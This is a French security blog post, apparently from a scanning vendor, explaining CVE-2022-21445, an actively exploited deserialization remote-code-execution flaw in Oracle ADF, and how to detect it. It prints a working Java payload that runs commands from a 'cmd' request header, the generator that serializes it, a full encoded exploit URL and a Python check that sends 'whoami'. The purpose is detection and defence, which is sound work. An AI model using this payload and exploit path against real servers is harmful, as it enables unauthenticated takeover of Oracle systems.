Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

CVE-2022-21445 : RCE par désérialisation dans Oracle ADF

Comment CVE-2022-21445, une faille de désérialisation d'Oracle ADF activement exploitée, permet à des attaquants non authentifiés d'exécuter du code à distance, et comment la détecter avec OXO.

Introduction

CVE-2022-21445 est une vulnérabilité activement exploitée dans la nature, encore à ce jour. Bien qu'elle ait été découverte en 2022, cette vulnérabilité critique de l'Application Development Framework (ADF) d'Oracle continue de représenter une menace sérieuse pour les entreprises. Les attaquants peuvent l'exploiter pour exécuter du code à distance, sans interaction ni privilège requis, ce qui en fait une cible très recherchée par les cybercriminels, même aujourd'hui.

Comprendre l'impact de CVE-2022-21445 sur Oracle ADF

À la base, CVE-2022-21445 est un exemple d'école de vulnérabilité de désérialisation. Le coupable ? Une classe en apparence anodine nommée org.apache.myfaces.trinidad.webapp.ResourceServlet. Ce servlet, chargé de gérer les ressources web, présentait une faille critique : il faisait aveuglément confiance aux données entrantes et les désérialisait.

Pour ceux qui ne connaissent pas ce concept, la désérialisation est le processus qui consiste à reconvertir un flux d'octets en un objet ou une structure de données utilisable dans un programme. Cela se produit généralement lorsque des données qui ont été sérialisées (converties dans un format adapté au stockage ou à la transmission) sont reçues et doivent être retransformées dans leur forme d'origine pour être traitées. Cependant, la désérialisation peut introduire des risques de sécurité, en particulier si les données désérialisées proviennent d'une source non fiable, ce qui peut permettre à un attaquant de manipuler l'objet et d'exécuter des actions nuisibles au sein de l'application.

Chemin d'exploitation de CVE-2022-21445 : comment les attaquants exploitent la RCE

Pour exploiter cette vulnérabilité, les attaquants ont construit un objet Java spécial qui, une fois désérialisé, exécute des commandes arbitraires sur le serveur. Le payload était ensuite encodé en URL et envoyé dans une requête GET vers un endpoint spécifique.

Voici un extrait du code d'exploitation qui vérifie si une cible est vulnérable :

def accept(self, target: definitions.Target) -> bool:  
    """Override the accept method to check for X-ORACLE-DMS-ECID in the response headers."""  
    session = requests.Session()  
    session.max_redirects = MAX_REDIRECTS  
    session.verify = False  

    target_endpoint = urlparse.urljoin(target.origin, self.check_request.path)  

    try:  
        req = requests.Request(  
            method=self.check_request.method,  
            url=target_endpoint,  
            headers=self.check_request.headers,  
            data=self.check_request.data,  
        ).prepare()  
        resp = session.send(req, timeout=DEFAULT_TIMEOUT)  
    except requests_exceptions.RequestException as e:  
        logging.info("Request Exception Occurred: %s", e)  
        return False  

    if "X-ORACLE-DMS-ECID" in resp.headers:  
        logging.info("X-ORACLE-DMS-ECID header found in the response")  
        return True  
    return False

Ce code vérifie la présence d'un en-tête X-ORACLE-DMS-ECID, couramment associé aux produits Oracle Fusion Middleware, dont fait partie l'Oracle Application Development Framework (ADF). C'est pourquoi cet en-tête est utilisé pour identifier les cibles ADF potentielles.

Le payload : un cheval de Troie en Java

Le cœur de l'exploit réside dans son payload. Des chercheurs ont créé une classe LambdaIdentity qui, une fois désérialisée, exécute des commandes arbitraires. Voici une version simplifiée de ce à quoi cela pourrait ressembler :

package com.tangosol.internal.util.invoke.lambda;

import com.tangosol.internal.util.invoke.AbstractRemotable;

public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A extends AbstractRemotable {
    public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
        try {
            weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
            java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
            field.setAccessible(true);
            Object obj = field.get(adapter);
            weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
            weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getServletResponse").invoke(obj);
            String cmd = req.getHeader("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                Process exec;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    exec = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
                } else {
                    exec = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
                }
                res.getServletOutputStream().clearBuffer();
                res.getServletOutputStream().writeStream(exec.getInputStream());
                res.getServletOutputStream().flush();
                res.getServletOutputStream().close();
                res.flushBuffer();
            }
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }
}

Lorsque cette classe est désérialisée sur le serveur cible, elle exécute la commande spécifiée par l'attaquant.

Détecter la vulnérabilité

Nous avons développé un script Python pour détecter les systèmes vulnérables. Nous avons identifié des endpoints spécifiques à tester, en nous concentrant sur les produits Oracle courants :

CONTEXT_APP = ["/bicomposer", "/em"]  # Testing against Oracle Business Intelligence and Oracle Enterprise Manager

Le chemin d'exploitation a été généré à l'aide d'un script Java personnalisé Main.java qui construisait un payload encodé malveillant :

package org.example.miracle;

import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
import com.tangosol.internal.util.invoke.ClassDefinition;
import oracle.adf.view.rich.util.SerializationUtils;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws IOException {
        RemoteConstructor remoteConstructor = new RemoteConstructor(
                new ClassDefinition(new ClassIdentity(LambdaIdentity.class), Files.readAllBytes(Paths.get("/home/nmasdoufi/Downloads/CVE-2022-21445/target/classes/com/tangosol/internal/util/invoke/lambda/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"))), new Object[]{}
        );
        String saa = SerializationUtils.toURLEncodedString(remoteConstructor);
        System.out.println(saa);
    }
}

Et voici le chemin d'exploitation qui utilise ce payload :

EXPLOIT_PATH = (
    "/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DtVdbcBtXGf5WlrSb9ToX5eIotzalDXJi6%2BJbsB1KJdkiAeVCZNwkBsxqdWxv"
    "-stqVd49sB2jacm8LpdxpaBugtOESmOFFZDqTTuCBYWCAGV6Y4QF4YIYO0z7BDDwwlP_oEkux3DgP"
    "-SKOze_7_P__l_N_5_6NrbyDguRgwnGKU6_ac4zlW1LQ5c23dipa5KWaLzgUWPc2KDmdpx_a4Wza4"
    "-4_7m8uuZ6T_9fckH3zSU4ozuJN05j2PrdPa8vqjHLFIXO5k_zww%2BloVWnCmwWdM2uenYHANZshhr"
    "-WIw1LMaExVjNYixt6Z43fmvR2HKp7Da0R4X2aF37M789c2Wz12P5gOUS6EMRJe4c0W36H_j1q0_9-C3"
    "%2B8XI1nA8WTrwpwmqay8BdnzAJHYr1%2BHyswm5v8Ys1rUnHtH93_DiqTf6k72Vn51X9feZV8HcSP-ZZxQcRAnVZzC"
    "%2B2ScVuFHToWESQXvV6FhSsXDOCOGswrOyZgWxA%2Bo%2BCA%2BJGNGwYdl6AqOqNiEvIrd"
    "-MBQUVDDMismcgnnxNFWcxwUZloKieLUVOApKKrZgQYULTwVHWbwtimFJDMuCe1HGR1S8HR%2BV8TEZ"
    "-j0gIHhFb9qCEjkjPlAR_2ikwCZuyps1OlIt55k7qeYsooaxj6NaU7ppiXif62TIzJGxtAskp1zGY"
    "-541JkPWCXqItlbA7u8TyljNnGrElx70Qe5iGZI1JcoFZk1kFCeEmLS6btQgNsYxgkUyHkz8vfFgF"
    "-RmK5bEFCdMWEx9xFi_GVfOZqhNNsocw8fqxYsmrLPAmx9SzzSnRQWGOdUSy0epLjrmnPEcu_qLsJ-CdubeBPLBitVAU9sPm"
    "%2BSyXPrQJ2lF_MFPZatPhrou38i0T%2BRTg6OZOLD4_HBeCI5Mj4YH071j6fT"
    "-hweHB5JkoyvHdePCcb1UTVA1x5dkPEqgJGwRsAgxMh4jDEhQc07ZNVjGFIkcvEtTURGihM2350PD-ITwu4"
    "%2BMaPoFPUuJb8z5BaClzNjnvMr2g4VP4tIbP4LMSthiObdNy2qijul2wmKvhCTxJnmt4Cp_T"
    "-8Hk8TVJzjLfmkoC64kH1qGr4Ap6R8UUNX8KXJfTeDSoorc0WammX0HdXENHwFXxVw9fwdToBjhe1"
    "-9SLl4RsanhXky_gmQWjJtDU8h%2BdlvKDhCr7VspE1OEnwxQwNcXyb3rx5Gvpo%2Bh28KOO7Gl5CL6VR-w8u4quF7"
    "%2BL6GH6BXww_FcA29dCLbQFDDjwTrzP8LflK189xBdTJPLUc3eLUD1YpIeM3iIKF7jZJA"
    "-YFhVciTsiLRpV6KqNW1vDXx0Uoyy61Jkjfm2SE_2dik6UBsJEemapHBMwl6Se6tqpogFAomUhBaV"
    "-VSIJbCaBcWZYussK9Vj6IqvLSc9bVMMuj_GkIWI2a2U4ck5E2UGaJRyItNmDdoVzA4kfZ3zeIQ8e"
    "-auPB9Crn2_lU00Dqdq7Fox5TS76EkTa%2BtUvZWu4epaQIWBy4w4bdKsmy6U0US_xitb2daz1nFz3O"
    "-ihI6SS8hqMRcIdbJnayzxNy0Lo5%2BKyhuaVWoXHHdtCnHu5s9Sc_rbk7UE9tgY8JcE0hPl%2BkUFUmn"
    "-SvZuTba3GKiTyUKkBcltIlxpsztWatbJMi%2BVOUkznQIbakbqWqWreUm9wyXuehFtm2Ex3U2VZ2dF"
    "-esShOWY3udLdCNN0Yk0MMta55JqcNeR2RtqKCXAHZq2yqIMBw3JEajqr84bFTSXaIV5tfpNUXhj2-o4duYeIj0fcQemnsA3w"
    "%2BBKAQ9Y2DHTcg_RS%2B6%2Bi4CX8FgeyhCoIhuQLleC_NN_TSXD3RJ4idJKtV"
    "-0NUn1lSw8SY2jfqrnM2rOFtGA2F_KFTB1tFgOPgLXAoHK9h2GYuh7dexo4Lu0M4Kws9i_3XsCt7A-7rMdoVDurD"
    "%2B0J3c2EA7mKtg7Kl_FvhXuPsG9p4kbDlRwbwX7q88wOXxfBW%2BrE%2B%2BvPx8QzwNXoYio-Ij%2Bh4BX8FX%2Bji18HohT"
    "%2BFLbTGCSqghA2YA9U2rJO4mtIogvT2IgC3UAX6Mr4OElcwTa8gh34Obrx-O"
    "%2BzEHxDGn7GLdO4jrXvwGvbiddyDGGmdJV3PkZ04EpBp1cH6Wwi_Rz8GyJc9%2BCVdlYfgI3s3MIzD"
    "-JJ3Ei3gHRui2PE2tfxRjlKgCHsMRvJP8fI3oD%2BJdtJZSh4dIGkjRbwCBN8k5WUZaxriMCRkZGe%2BW"
    "-cVTGMeA_2CXjPW8SFiSSoCUy3usnJVla6sNx%2BmsRW%2Bdfi0YXfCTzM37zn5ERHzqy6CzOeCkqFCeo"
    "-x_N2d8IsVBI5RajU59gCLqGrRplirkcduUpZLnFsbG21HJH1NmmOewf7B1Lx_nR8KB5PHE71D46n"
    "-EvHxTObw0EgyOTScyvwPvlNuShcOAAA%3D-/"
)

Le script de détection envoie une requête spécialement construite aux cibles potentielles et vérifie les signes d'une exploitation réussie. Voici un extrait de la logique de détection :

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:  
    """Rule to detect specific vulnerability on a specific target.  

    Args:        target: Target to scan  
    Returns:        List of identified vulnerabilities.    """   

    session = requests.Session()  
    session.max_redirects = MAX_REDIRECTS  
    session.verify = False  

    vulnerabilities: list[definitions.Vulnerability] = []  

    for context in CONTEXT_APP:  
        exploit_endpoint = urlparse.urljoin(target.origin, context + EXPLOIT_PATH)  
        try:  
            exploit_req = requests.Request(  
                method="GET",  
                url=exploit_endpoint,  
                headers={"cmd": "whoami"},  
            ).prepare()  
            exploit_resp = session.send(exploit_req, timeout=DEFAULT_TIMEOUT)  

            if exploit_resp.status_code == 200:  
                response_text = exploit_resp.text.lower()  
                if any(  
                    user in response_text  
                    for user in ["root", "nt authority\\system"]  
                ):  
                    logging.info(  
                        f"Potential RCE vulnerability detected at {exploit_endpoint}"  
                    )  
                    vulnerability = self._create_vulnerability(target)  
                    vulnerabilities.append(vulnerability)  
                    break  # Stop checking other contexts if vulnerability is found  

        except requests_exceptions.RequestException as e:  
            logging.info(f"Exploit check failed for {exploit_endpoint}: {e}")  

    return vulnerabilities  

Comment ça fonctionne

Le script commence par initier une session avec la cible, ce qui permet une gestion efficace des requêtes et des réponses. Il construit ensuite une requête GET adressée à un endpoint spécifique, en intégrant une command dans les en-têtes pour sonder le système. Dès qu'il reçoit un statut 200 OK, le script analyse la réponse à la recherche de signes d'une exécution de commande réussie, comme la présence de root ou SYSTEM dans le corps de la réponse. Si une vulnérabilité d'exécution de code à distance (RCE) est détectée, le script consigne l'événement et ajoute la vulnérabilité identifiée à une liste pour un traitement ultérieur.

Tester CVE-2022-21445 avec l'outil OXO

Si vous craignez que votre instance soit vulnérable, suivez ces étapes pour effectuer un test avec l'outil OXO. OXO offre un moyen simple de scanner et de détecter cette vulnérabilité. Voici comment démarrer :

  1. Installez OXO via pip :
pip install -U ostorlab
  1. Installez l'agent asteroid depuis le magasin d'agents OXO :
oxo agent install agent/ostorlab/asteroid
  1. Lancez le scan avec l'agent asteroid à l'aide de la commande suivante :
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET

Tags :

rce, kev, security